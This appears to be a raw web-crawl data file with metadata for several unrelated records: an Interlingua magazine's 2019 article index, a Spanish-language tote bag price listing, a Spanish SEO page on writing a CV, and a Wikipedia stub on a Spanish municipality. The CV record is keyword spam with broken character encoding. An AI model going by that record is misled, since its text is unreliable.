actual|\n|26||Scriptura dexteromane||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Alice||Novas de nomines|\n|28||Carmelo Serraino||Novas de nomines|\n|28||Alberto Mardegan||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 3\/2019, maio-junio\n|1||Alarma: Le globo es in periculo seriose||Cata minuta in 2018 dispareva 30 campos de football de foreste tropic, e un million species animal es in periculo de extinction a causa del cambios climatic. Le population del Terra intertanto continua crescer e attingera dece milliardos homines in 2050.|\n|1||Le kilogramma ha cambiate in secreto||Quasi nemo notava le revolution.||Copertura|\n|1||Bandiera 800 annos||Copertura|\n|1||Inscribe te pro le conferentia in Praga||Copertura|\n|1||5 paginas con novas de interlingua||Copertura|\n|1||Musica longissime||Copertura|\n|2||2018 le anno quasi le pejor pro forestes pluvial del mundo||Cata minuta dispareva 30 campos de football de foreste tropic.||Breinstrup, Thomas||Nova|\n|2||Glacie arctic disgela plus tosto||Th.||Nota|\n|2||Cambio climatic destrue Svalbard||Th.||Nota|\n|3||Cambios climatic pote destruer un million species||Reporto alarmante de expertos demanda action immediate in omne partes del mundo.||Breinstrup, Thomas||Nova|\n|4||Enthusiastas face le grande differentia||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Quasi dece mia. homines vivera sur le Terra in 2050||Grande differentias inter le paises, e le tempo del crescimento es plus lente que expectate.||Breinstrup, Thomas||Nova|\n|6+7||Le kilogramma ha cambiate – sin esser remarcate||Le scientistas diceva a revider al kilogramma original pro introducer un nove definition multo plus accurate. Anque tres altere definitiones de mesuras cambiava.||Breinstrup, Thomas||Nova|\n|8||800 annos con le bandiera danese||Le bandiera cadeva del celo durante un lucta in 1219 e es hodie – forsan – le plus vetere in le mundo.||Breinstrup, Thomas||Nova|\n|8||Milliardos in archivo||Th.||Nota|\n|8||Granduce de Luxemburg moriva||Th.||Nota|\n|9||Cruciada linguistic contra é in Lubéron||Un francese ha essite si lasse de que on non pote orthographiar correctemente su region, que ille ora reage.||Breinstrup, Thomas||Nova|\n|10||Italia gania Jocos in 2026||Th.||Nota|\n|10||Fin de notas de 500 euros||Th.||Nota|\n|10||Combatto contra muses gigante||Th.||Nota|\n|10||Incendio de Notre Dame non solvite||Le causa pote esser un cigarretta o un curte circuito.||Th.||Nova|\n|11||Plen programma active in Praga||Le 23e conferentia international de interlingua in septembre essera plen de activitates interessante.||Conferentia de interlingua|\n|12||Elleore celebra 75 annos||Novas de interlingua|\n|12||Internovas attinge numero 200||Novas de interlingua|\n|12||Parlator retorna a su adresse||Novas de interlingua|\n|12||Digitalisation de magazin continua||Novas de interlingua|\n|13||60 annos con Actualitates||Novas de interlingua|\n|13||Alice in interlingua es complete||Novas de interlingua|\n|13||Vacantias estive in interlingua||Novas de interlingua|\n|13||Europarlamentarios informate de interlingua||Novas de interlingua|\n|13||Album musical con interlingua||Novas de interlingua|\n|14||Interlingua como lingua rapide||Novas de interlingua|\n|14||Famose scientista radiose||Novas de interlingua|\n|14||Enorme production poetic||Novas de interlingua|\n|14||\"Guttas de vita\" in interlingua||Novas de interlingua|\n|15||Ideas arbitrari in interlingua||Novas de interlingua|\n|15||Tres motores brasilian create||Novas de interlingua|\n|15||Video genial super interlingua||Novas de interlingua|\n|16||Excellente articulo super interlingua||Novas de interlingua|\n|16||Selige Telegram in interlingua||Novas de interlingua|\n|16||Recipe Panorama digital!||Interlingua|\n|17||Le anatomia del facie||Breinstrup, Thomas||Le parolas del mense|\n|17||Como scriber le datas||Breinstrup, Thomas||Le parolas del mense|\n|18||Excellente grammatica pro tchecos||K. Wilgenhof: \"Gramatika interlingvy\"||Th.||Libros|\n|18||Gratuite mini-dictionario anglese||B.C. Sexton: \"English-Interlingua – A basic vocabulary\"||Th.||Libros|\n|18||Publicationes in interlingua||Libros|\n|19||Lege un bon libro estive in interlingua||Annuncio|\n|20||Cruciatos europee se misceva con le locales||Provas definitive de ADN monstra relationes intime.||Th.||Scientia|\n|20||5.255 tortucas trovate in coffros||Th.||Nota|\n|21||56 lacos celate trovate sub glacie||Importante trovatas narra scientistas super le cambios climatic.||Th.||Scientia|\n|21||Meteorologos time signales de 5G||Th.||Scientia|\n|21||Enigma basc solvite||Th.||Nota|\n|21||Unda de calor in Europa||Th.||Nota|\n|22+23||Incontros perdite||Med, Jacobo||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Petra retornate a Stonehenge||Th.||Le mundo actual|\n|24||Le avion le plus grande vola||Th.||Le mundo actual|\n|24||Locustas devasta Sardinia||Th.||Le mundo actual|\n|24||Tauro con longe cornos||Th.||Le mundo actual|\n|24||Picasso controversial remane||Th.||Le mundo actual|\n|25||Bibliotheca de Columbo trovate||Th.||Le mundo actual|\n|25||Francese deveni campion de barba||Th.||Le mundo actual|\n|25||Fermeros francese va a pistacios||Th.||Le mundo actual|\n|25||Mulcta a touristas sin blusa||Th.||Le mundo actual|\n|26||Le plus longe pecia musical||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Paolo Castellina||Novas de nomines|\n|28||Pawel Adamowicz||Novas de nomines|\n|28||Carlos Eduardo de Paula||Novas de nomines|\n|28||Café Zezin||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 4\/2019, julio-augusto\n|1||\"Le Aquila ha atterrate\"||Ante 50 annos le prime homine placiava su pede sur le superficie del Luna – post un cursa incredibile inter duo nationes.||Copertura|\n|1||Praga es preste pro le conferentia||Copertura|\n|1||Paris debe esser oases verde in 2030||Le medietate del capital cambia.||Copertura|\n|1||Netflix gluti energia||Copertura|\n|1||Giraffas menaciate||40 pro cento del animales ha disparite durante 30 annos.||Copertura|\n|1||Novas de interlingua||Copertura|\n|1||Le vita in tempore presente||Copertura|\n|1||Glacie polar dispare in velocitate record||Copertura|\n|2+3||Le Aquila atterrava sur le Luna ante 50 annos||Le americanos ganiava un cursa contra le russos e placiava in 1969 le prime homines sur le Luna, como presidente Kennedy habeva desirate octo annos antea.||Breinstrup, Thomas||Nova|\n|4||Duo minutas extra pro le qualitate vale le pena||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Le medietate de Paris debe esser oases verde||Forestes urban debe esser introducite pro combatter le cambios climatic e diminuer le pollution aeree ante 2030.||Breinstrup, Thomas||Nova|\n|6||Tunnel baltic se approxima||Th.||Nota|\n|6||Stratas presso cathedral claudite||Th.||Nota|\n|6||Cadita drastic de animales forestal||Plus que le medietate del population animal in le forestes del mundo ha disparite durante 40 annos.||Th.||Nova|\n|7||Plus de elephantes post efficace chassa al chassatores||Tanzania combatte chassatores furtive, assi que le elephantes e rhinocerotes pote superviver.||Th.||Nova|\n|7||Nove lucta de ebore e rhinocerotes||Th.||Nota|\n|8||Streaming de films equivale energia pro 60 tassas de the||Le consumo de energia es enorme.||Breinstrup, Thomas||Nova|\n|9||Giraffas ha devenite specie menaciate||40 pro cento del animales ha disparite durante 30 annos.||Th.||Nova|\n|9||Nove satellite europee in alto||Th.||Nota|\n|9||Adeo a glaciero islandese||Th.||Nota|\n|10||Japon reassume chassa de balenas post 30 annos||Le pais se retirava del Commission International de Pisca de Balenas in decembre. In julio le prime balinieras exiva del porto pro capturar balenas de novo.||Breinstrup, Thomas||Nova|\n|10||Corsicanos desira influentia||Th.||Nota|\n|11||Kazakhstan comencia rescriber su alphabeto||Le inseniamento scholar de kazakh con alphabeto latin comenciara in 2020, e in 2025 le transition ab le litteras cyrillic debe esser finite a un costo de 505 mio. euros.||Breinstrup, Thomas||Nova|\n|12||Debile currente del Golfo||Nota|\n|12||Muscas memora le batter||Nota|\n|12+13||Septe dies plen de interlingua||Le 23e conferentia in Praga se approxima, e il ha multo a preparar pro facer lo un septimana de successo.||Conferentia de interlingua|\n|14||Cursetto interactive in Internet||Novas de interlingua|\n|14||Nove film poetic de Marcus Scriptor||Novas de interlingua|\n|14||Poema pluviose in interlingua||Novas de interlingua|\n|14||Vesperes de interlingua 27 annos||Novas de interlingua|\n|14||Publicationes in interlingua||Novas de interlingua|\n|15||Le prime barbacoa in interlingua||Novas de interlingua|\n|16||Dracon in le parco – video no. 20||Novas de interlingua|\n|16||\"Le Propheta\" in interlingua||Novas de interlingua|\n|16||Digitalisation de magazin continua||Novas de interlingua|\n|16||Autobus in interlingua||Novas de interlingua|\n|17||Preste pro recoltar pomos?||Breinstrup, Thomas||Le parolas del mense|\n|17||Preste a jocar al chacos?||Breinstrup, Thomas||Le parolas del mense|\n|18||Libros pro un bon estate||Annuncio|\n|19||Copenhagen vidite ab le Turre Rotunde||Unic e estranie – e multo central.||Th.||Viages|\n|19||Recipe Panorama digital!||Interlingua|\n|20||Glacie al Polo Sud dispare in velocitate record||Scientistas es confundite del subite cambios que pote devenir catastrophal.||Breinstrup, Thomas||Scientia|\n|21||Robot humanoide ab Russia in spatio||Fedor es del grandor de un homine.||Th.||Scientia|\n|21||Rar trovata de vikinges||Th.||Nota|\n|21||Pinguin gigante trovate||Th.||Nota|\n|22||Pisce ab le celo||Traduction in interlingua: Italo Notarstefano||Radičkov, Jordan||Litteratura|\n|22+23||Super le leones||Traduction in interlingua: Italo Notarstefano||Radičkov, Jordan||Litteratura|\n|24||Le walkman ha 40 annos||Th.||Le mundo actual|\n|24||Saccos de plastico prohibite||Th.||Le mundo actual|\n|24||Pharo movite per rotas||Th.||Le mundo actual|\n|25||Cumulo de moneta dispareva||Th.||Le mundo actual|\n|25||Nulle touristas sedente, per favor||Th.||Le mundo actual|\n|25||Amicos compra village||Th.||Le mundo actual|\n|25||Sablo furate es retornate||Th.||Le mundo actual|\n|26||Le vita in tempore presente||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Paolo Castellina||Novas de nomines|\n|28||Carlos Oliveira||Novas de nomines|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Claes Bredvad-Jensen||Novas de nomines|\n|28||Martin Lavallée||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 5\/2019, septembre-octobre\n|1||Interlingua avante!||28 paginas con reportage, novas, notitias e multissime photos ab le 23e conferentia international de interlingua in Praga, Tchechia, le 23-28 de septembre 2019.||Copertura|\n|2+3||Senatores tchec vide possibilitates in interlingua||Reception official del 23e conferentia de interlingua in le senato tchec.||Breinstrup, Thomas||Conferentia de interlingua|\n|4||Un peptimana con interlingua – pro omnes||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Presidente del UMI: Qual chance!||Le conferentia es le momento ideal, diceva Madeleine Mahé, presidente del UMI, quando illa aperiva le 23e conferentia international de interlingua. Ecce su parolas.||Conferentia de interlingua|\n|5||\"Interlingua pro omnes\"||Th.||Nota|\n|6||Secretario general: Passos importante||Julian Mendez, le secretario general del UMI, explicava super nove initiativas e gaudeva del supporto al conferentia in su apertura official.||Conferentia de interlingua|\n|7+8+9||Interlingua es plen de pep e vitalitate||Supporta interlingua como lingua vivide e vivente per dar un mano – preferibilemente duo – durante e ante toto inter le conferentias, diceva Thomas Breinstrup, le redactor in chef del Panorama, in su \"pep-talk\" al apertura del conferentia.||Conferentia de interlingua|\n|10+11||Effectos e surprisas diffunde interlingua a plus de personas||Creativitate es le clave pro assecurar que interlingua deveni plus cognoscite e usate in tote le mundo.||Breinstrup, Thomas||Conferentia de interlingua|\n|11||Mini-version del Nationes Unite||Th.||Nota|\n|11||Conferentias retorna a augusto||Th.||Nota|\n|12+13||Interlingua se misceva in le Die Europee de Linguas||Le 23e conferentia de interlingua quasi infiltrava le arrangiamento official in Praga in un action multo efficace.||Th.||Conferentia de interlingua|\n|14||Die aperte pro interessatos||Th.||Nota|\n|14||Le tumba del famose||Th.||Nota|\n|15||Multe expectationes a nove designo de www.interlingua.com||Le sito del Union Mundial pro Interlingua debe servir nove interessatos e usatores experte, e le conferentia habeva multe bon ideas.||Breinstrup, Thomas||Conferentia de interlingua|\n|16+17||\"Paccos\" debe pulsar interlingua in avante al publico||Le representantes de interlingua in tote le mundo debe haber utensiles plus concrete a fin de devenir plus active e efficace.||Breinstrup, Thomas||Conferentia de interlingua|\n|17||Le fluvio Moldava||Th.||Nota|\n|17||Plus pro studios autodidactic||Th.||Nota|\n|17||Nove cantario le proxime vice||Th.||Nota|\n|18||Un tornado de ideas que pote promover le uso de interlingua||Le possibilitates es abundante – ma solmente si on los usa, esseva le message de un activista vermente active qui essayava inspirar a copiar su initiativas.||Breinstrup, Thomas||Conferentia de interlingua|\n|19||Reguarda ben iste senior||Th.||Nota|\n|19||Orationes e discursos mantenite||Th.||Nota|\n|19||Plus de abonatos digital||Th.||Nota|\n|19||Nove typo de dictionario||Th.||Nota|\n|20||Bon parolas in Praga||Nota|\n|20||\"Cornamusamento\"||Th.||Nota|\n|20||Traduction assistite||Th.||Nota|\n|21||\"E que es isto?\"||Th.||Nota|\n|21||Interpretation in interlingua||Th.||Nota|\n|22||Viage a Vietnam||Th.||Nota|\n|22||Placards ubique||Th.||Nota|\n|22||Benvenite||Th.||Nota|\n|22||Detra un qualcunque successo||Th.||Nota|\n|23||Collection complete de Internovas||Novas de interlingua|\n|23||Nove blog in e super interlingua||Novas de interlingua|\n|23||Quatro videos del barbecue||Novas de interlingua|\n|23||Magazin experimenta con lay-out||Novas de interlingua|\n|23||Interlingua in portal canadian||Novas de interlingua|\n|23||Correctiones||Novas de interlingua|\n|24||Conversation e labor active||Th.||Nota|\n|24||Excursiones excellente||Th.||Nota|\n|25||\"Dur\" labor e pur festa||Th.||Nota|\n|26||Interlingua retornava a Praga||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Donald Gasper||Novas de nomines|\n|28||Carmelo Serraino||Novas de nomines|\n|28||Pawel Wimmer||Novas de nomines|\n|28||Klavs Neerbek||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 6\/2019, novembre-decembre\n|1||NU:Reduce emission al medietate in 2030||Omne paises in le mundo debe reducer lor emission de CO2 e altere gases de estufa a plus que le medietate durante le 2020s, si nos debe mantener un \"secur\" limite del temperatura.||Copertura|\n|1||Interlingua – bon anno nove 2020||Panorama presenta le grande eventos in 2020.||Copertura|\n|1||Un littera del presidente del UMI||Copertura|\n|1||Praga un perla||Copertura|\n|1||Botswana esseva le cuna del humanos||Planas salin cela le nascentia.||Copertura|\n|1||Arbores va disparer||Copertura|\n|1||Ideas a libros como presentes del Natal||Un selection pro justo tu budget.||Copertura|\n|1||Le conte Dracula||Copertura|\n|1||Interlingua es le Linua del linguas||Copertura|\n|1||Trovata extende le succession de reges||Copertura|\n|2||NU: Le mundo debe reducer emission al medietate in 2030||Omne paises debe reducer lor emissiones a plus que le medietate durante le 2020s, si nos debe mantener un \"secur\" limite del temperatura, adverti le Nationes Unite.||Breinstrup, Thomas||Nova|\n|2||Cinque solutiones||Th.||Factos|\n|3||Alarma: Le Polo Sud disgela rapidemente||Expertos time consequentias dramatic a causa del cambios climatic.||Th.||Nova|\n|3||Iceberg de 35 mia. tonnas liberate||Th.||Nota|\n|4||Un 2020 plus verde – abona te a Panorama digital||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Botswana esseva le cuna del humanos||Planas salin esseva ante 200.000 annos fertile, e ci le homine moderne nasceva, dice scientistas.||Breinstrup, Thomas||Nova|\n|6+7+8||2020 nos attende||Ecce alcun del multe eventos que va occurrer in le nove anno.||Breinstrup, Thomas||Nova|\n|8||Monte de Svedia non le plus alte||Th.||Nota|\n|8||Indonesia move su capital||Th.||Nota|\n|8||Incendios menacia le vita del koalas||Th.||Nova|\n|9||Un littera del presidente del UMI||Mahé, Madeleine||Interlingua|\n|10||Aquilas marin face record||Th.||Nota|\n|10||Dialogo super crise lingual||Th.||Nota|\n|10||Mozart vendite pro 4 mio. euros||Th.||Nota|\n|10||Quasi 60% del arbores europee risca disparer||Gruppo international adverti que arbores solmente trovate in Europa es in periculo de extinction.||Th.||Nova|\n|11||Nove presidente in Svedia||Novas de interlingua|\n|11||Curso de interlingua continua||Novas de interlingua|\n|11||Memora le Die de Interlingua 15\/1||Novas de interlingua|\n|11||Multe nove cartas nordic||Novas de interlingua|\n|12||Dictionario danese plus grande||Novas de interlingua|\n|12||70 annos: Aino Davidsson||Novas de interlingua|\n|12||Salute in interlingua!||Novas de interlingua|\n|12||Interlingua in practica: Usa Skype pro parlar interlingua||Novas de interlingua|\n|13||Conferentia in jornal official||Novas de interlingua|\n|13||Grande interview in jornal hungare||Novas de interlingua|\n|13||Information al europarlamentarios||Novas de interlingua|\n|14||Artisaneria genuin||Breinstrup, Thomas||Le parolas del mense|\n|15||Grande dictionarios russe apparera||Th.||Libros|\n|15||Publicationes in interlingua||Libros|\n|15||Recipe Panorama digital!||Annuncio|\n|16+17||Ideas a presentes de Natal||Libros|\n|18+19||Praga – un perla||Le capital tchec vale un visita, e il ha multo a explorar.||Breinstrup, Thomas||Viages|\n|20||Trovata extende le succession de reges||Un enorme sala del era del vikinges cambia le historia de Danmark.||Breinstrup, Thomas||Scientia|\n|21||Aqua trovate sur planeta distante||Planeta discoperite in 2015 ha quasi le mesme temperatura como le Terra – e ora il ha anque vapor de aqua.||Th.||Scientia|\n|21||Urbe de 5.000 annos trovate||Th.||Nota|\n|21||Saturno plus ric de lunas||Th.||Nota|\n|21||Japoneses dispare||Th.||Nota|\n|22||Kòlja||Traduction in interlingua: Italo Notarstefano||Dostoevskij, Fëdor||Litteratura|\n|23||Le conte Dracula||Traduction in interlingua: Italo Notarstefano||Stoker, Bram||Litteratura|\n|24||Viros rational, feminas sexose||Th.||Le mundo actual|\n|24||Anguilla electricissime trovate||Th.||Le mundo actual|\n|24||Pipatores sona pro le ultime vice||Th.||Le mundo actual|\n|24||Trenta mumias trovate||Th.||Le mundo actual|\n|25||Linguas menaciate retorna||Th.||Le mundo actual|\n|25||Nove museo del mangiar aperite||Th.||Le mundo actual|\n|25||19 horas de volo sin stop||Th.||Le mundo actual|\n|25||Irlandeses: Retorna James Joyce||Th.||Le mundo actual|\n|26||Interlingua es le Linua del linguas||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||H.C. Andersen||Novas de nomines|\n|28||Inger Olsson||Novas de nomines|\n|28||Panorama desira a omne lectores e lor familias un felice Natal||Interlingua|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.interlingua.com\/panorama\/indices\/anno_2019\/","date":"2020-08-13T16:45:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739048.46\/warc\/CC-MAIN-20200813161908-20200813191908-00517.warc.gz","language":"ina","language_score":0.98035568,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9803556799888611}","num_words":5353,"character_repetition_ratio":0.185,"word_repetition_ratio":0.044,"special_characters_ratio":0.263,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":6200.5,"cluster_detection":-1} +{"text":"Stella McCartney\nbolso tote East West$17,812\nbolso tote East West$17,812\nbolso tote Sac de Jour baby$44,603\nbolso tote Cabas$44,753\nbolso tote vaquero$28,438\nbolso tote shopper Grand$30,097\nbolso tote Eider$29,825\nbolso bombonera Roxy Denim$17,463\nbolso tote Valentino Garavani Rockstud$53,883\nbolso tote mini con charm$29,785\nbolso tote Liara$10,098\nbolso tote intrecciato$58,750\nbolso tote acolchado con logo$44,902\ntote Falabella pequeño$20,805\nbolso tote \"Paige\" pequeño$12,789\ntote bordado$35,323\nbolso saco de pelo$28,438\nbolso tipo shopper I Still Love Your Honesty$11,635\ntote tipo shopper estructurado\ntote E\/W \"Recruit\"\ntote Lady$28,056\nbolsa bombonera Owen grande$44,092\ntote Nuage$44,603\ntote Falabella$23,415\ntote con paneles\nbolsa satchel PS1 mini$38,766\nbolsa con motivo de rayas\ntote Bowling$40,500\ntote a rayas$17,812\nbolo tote con placa de logo$38,552\nbolso tote con asas de cuerda$33,325\ntote Priscilla$43,047\ntote redondo mini$24,888\ntote Paige pequeño$12,916\nbolsa hobo texturizada mediana\ntote Orsett$50,740\nbolsa Bazar Shopper XS a rayas$28,992\ntote con detalles de discos de colores$45,651\nbolsa Kan I F$50,850\nbolsa de hombro Meline mini$47,473\nbolsa Sicily mini$29,785\ntote Petite 2Jours$47,568\nbolsa Hammock Cant Take It pequeña$56,316\nbolso de hombro con cadena plateada$19,308\ntote Bathurst\ntote de pelo\ntote Everyday mediano$19,875\nbolso tipo shopper We Have More Than Enough$11,635\ntote New Logo$5,957\nbolsa Bathurst Heart XS\ntote Birch mini$15,917\ntote Pierce mini\ntote Rockstud Valentino Garavani$50,291\ntote Etiquette$33,800\nbolsa satchel PS1 pequeña$38,766\ntote Infinity Hobo mediano$47,715\ntote Classic City M$37,380\ntote tipo shopper grande$22,078\ntote estampado$5,336\ntote GG Web Doctors$39,100\ntote Emmeline Soft$11,882\nbolso con asas en el tope Soft Gucci Signature$40,900\ntote Antigona pequeño$46,279\ntote con logo perforado\ntote Bazar grande\ntote tipo shopper Bazar$28,263\nbolsa Sylvie mini$65,900\nbolsa hobo Bubble\ntote Cabas$34,205\ntote Laundry Cabas$39,203\ntote Falabella$23,798\ntote Iside$70,200\ntote Antigona mediano$51,870\nbolso Sylvie con tachuelas de animales$142,500\ntote con correa con apliques\ntote con motivo de Bambi$25,871\ntote Day$27,862\nbolso tote cubierto de pelo$24,169\ntote Classic City pequeño$39,933\ntote con asa superior$36,000\ntote Alex mini\ntote Bazar$19,875\ntote a cuadros de Dsquared2 x Only The Brave Foundation\ntote con estampado de cara\nbolsa de mano con detalle de chevron$28,438\ntote rígido pequeño$39,056\ntote estilo hobo Dionysus$68,200\ntote Falabella grande$23,564\ntote East West grande$50,638\ntote Demilune Valentino Garavani\ntote mini Nightingale$35,132\ntote con diseño curvado\ntote Hava pequeño$41,609\ntote Runaway pequeño$37,900\ntote Falabella pequeño$20,007\nbolsa estilo hobo GG Supreme$28,700\nbolsa estilo hobo Carry Over\ntote Antigona pequeño$48,906\ntote Furrissima S$41,609\nbolsa Kan I F$50,850\ntote con solapa y asa trenzada$38,600\ntote pequeño con cadena en el asa\nbolsa Neo Vintage$39,100\ntote con detalle de lazo$38,600\ntote con logo$26,488\nbolsa con solapa de lana de oveja$69,997\ntote Block-T Triple$16,165\ntote Mercer grande$10,478\ntote Antigona pequeño$48,998\ntote Falabella$20,600\ntote tipo shopper$8,232\ntote Smiley\ntote Eyes Ebury\ntote Demilune Valentino Garavani\ntote Lucia$55,379\nbolsa Kan I F$50,850\ntote Palazzo Empire pequeño$32,629\ntote Welcome$52,386\ntote trapezoidal Rockstud Valentino Garavani mini$40,412\nbolso tote Galleria Saffiano pequeño$43,406\ntote con tejido intrecciato$22,000\ntote con cierre\ntote Tiger\nbolso tote \"Antigone\" mini$36,452\nbolso tote Lucia$52,386\nbolsa Bathurst Heart XS\ntote Roxy mini\ntote Lucia$55,379\ntote estilo bombonera\ntote Benchley$75,849\ntote Ottilia pequeño$72,300\ntote TF\ntote con motivo de oso transformer$21,703\nminibolso Sylvie con tachuelas de animales$65,900\ntote Petite 2Jours con apliques florales$54,834\ntote con estampado del logo$43,528\ntote Flying Kenzo$12,789\nbolsa bombonera grande\ntote estilo hobo con cierre$37,419\ntote Laundry Cabas S$39,203\nbolso tote 3Jours pequeño$47,568\nbolsa con asa superior$154,800\ntote Lucia$52,386\ntote Battle\ntote tipo shopper convertible$11,025\ntote tipo shopper a rayas\ntote Soft Gucci Signature pequeño$34,900\ntote Sicily mediano$34,425\ntote Mercer$10,374\ntote Dionysus$61,600\ntote Double pequeño$46,700\ntote Furrissima S$41,609\ntote Sac de Jour baby acolchado$55,379\ntote Falabella grande$23,184\ntote Furrissima FE$41,609\ntote de lona XL a cuadros$46,399\ntote tipo shopper$21,023\ntote Mercer\nbolsa de mano Queen Margaret acolchada$72,300\nbolsa de hombro$35,682\ntote pequeño$68,850\nbolsa Kan I F$50,850\ntote GG Supreme$36,200\ntote pequeño con logo en relieve\ntote Falabella grande$23,564\ntote Cabas grande$41,759\ntote con forro texturizado\ntote Rockstud Valentino Garavani$47,172\ntote Lola\ntote estilo bowling\nbolsa de hombro Lucia con estampado floral\ntote a cuadros\ntote Sofia grande\nbolsa GG Supreme$59,700\nbolsa Belle con apliques\ntote Pierce grande\ntote tipo shopper$10,478\ntote Alex Burry Cannete\ntote East West$41,609\ntote Double T\ntote tipo shopper con estampado de cachemira$13,395\nCargando...","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.farfetch.com\/mx\/shopping\/women\/totes-1\/items.aspx?ffref=hd_snav","date":"2018-01-17T05:36:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886815.20\/warc\/CC-MAIN-20180117043259-20180117063259-00572.warc.gz","language":"ina","language_score":0.3223116696,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.322311669588089, \"glg_Latn_score\": 0.10578569024801254, \"por_Latn_score\": 0.06134779006242752, \"spa_Latn_score\": 0.04962286725640297, \"pcm_Latn_score\": 0.03159660845994949, \"eng_Latn_score\": 0.02341300994157791, \"vec_Latn_score\": 0.017132040113210678, \"srd_Latn_score\": 0.016910305246710777, \"dag_Latn_score\": 0.01609037071466446, \"rmy_Latn_score\": 0.015552510507404804, \"ast_Latn_score\": 0.01477772369980812, \"nhg_Latn_score\": 0.012155278585851192, \"ron_Latn_score\": 0.01011156290769577}","num_words":1280,"character_repetition_ratio":0.084,"word_repetition_ratio":0.014,"special_characters_ratio":0.327,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.28,"perplexity_score":25442.4,"cluster_detection":-1} +{"text":"como se realiza un curriculum vitae 10 best currculos criativos images on pinterest, word 2010 hacer un currculum rápido como se realiza un curriculum vitae, como se realiza un curriculum vitae c³mo hacer un curriculum vitae sin experiencia, c³mo se hace un currculum © aprender pasos y elaboraci³nã2017ã como se realiza un curriculum vitae, 108 best cv images on pinterest como se realiza un curriculum vitae,\nComo Se Realiza Un Curriculum Vitae 10 Best Currculos Criativos Images On Pinterest fuente: pinterest.com\nWord 2010 Hacer Un Currculum Rápido Como Se Realiza Un Curriculum Vitae fuente: youtube.com\nComo Se Realiza Un Curriculum Vitae C³mo Hacer Un Curriculum Vitae Sin Experiencia fuente: idat.edu.pe\nC³mo Se Hace Un Currculum © Aprender Pasos Y Elaboraci³nã2017ã Como Se Realiza Un Curriculum Vitae fuente: comosaber10.com\n108 Best Cv Images On Pinterest Como Se Realiza Un Curriculum Vitae fuente: pinterest.com\nComo Se Realiza Un Curriculum Vitae O Se Hace Un Curriculum Vitae fuente: teleycinema.com\nComo Se Realiza Un Curriculum Vitae O Se Hace Un Curriculum Vitae fuente: teleycinema.com\ncomo se realiza un curriculum vitae o se hace un curriculum vitae, como se realiza un curriculum vitae o se hace un curriculum vitae, como se realiza un curriculum vitae resume services jacksonville fl assignment help nz ejemplos de o, 80 best nice cv images on pinterest como se realiza un curriculum vitae,","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/teleycinema.com\/como-se-realiza-un-curriculum-vitae\/","date":"2019-02-20T19:15:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247496080.57\/warc\/CC-MAIN-20190220190527-20190220212527-00236.warc.gz","language":"ina","language_score":0.3314601779,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.331460177898407, \"spa_Latn_score\": 0.31204330921173096, \"cbk_Latn_score\": 0.06860275566577911, \"arg_Latn_score\": 0.05224968492984772, \"srd_Latn_score\": 0.034604933112859726, \"glg_Latn_score\": 0.027637233957648277, \"lat_Latn_score\": 0.026091814041137695, \"oci_Latn_score\": 0.01620396226644516, \"pcm_Latn_score\": 0.012372652068734169}","num_words":395,"character_repetition_ratio":0.205,"word_repetition_ratio":0.614,"special_characters_ratio":0.201,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.46,"perplexity_score":4851.4,"cluster_detection":-1} +{"text":"Pozuelo de Tábara\n|Pozuelo de Tábara|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Pozuelo de Tábara[*]|\n|Population||154|\n|Area||25,69 ±0.01 km²|\n|Situate in||Provincia de Zamora|\n|Altitude||702 m|\n|Coordinatas||41°47'7\"N, 5°53'30\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6362598|\n|Wikimedia Commons Category|\nPozuelo de Tábara\nPozuelo de Tábara es un municipalitate que se trova in le provincia de Zamora, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Pozuelo_de_T%C3%A1bara","date":"2023-03-23T14:40:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945168.36\/warc\/CC-MAIN-20230323132026-20230323162026-00684.warc.gz","language":"ina","language_score":0.3170878887,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31708788871765137, \"glg_Latn_score\": 0.18851205706596375, \"vec_Latn_score\": 0.05185839161276817, \"nov_Latn_score\": 0.03825702145695686, \"sco_Latn_score\": 0.03387407958507538, \"arg_Latn_score\": 0.016952238976955414, \"atj_Latn_score\": 0.016461532562971115, \"lij_Latn_score\": 0.016077280044555664, \"frp_Latn_score\": 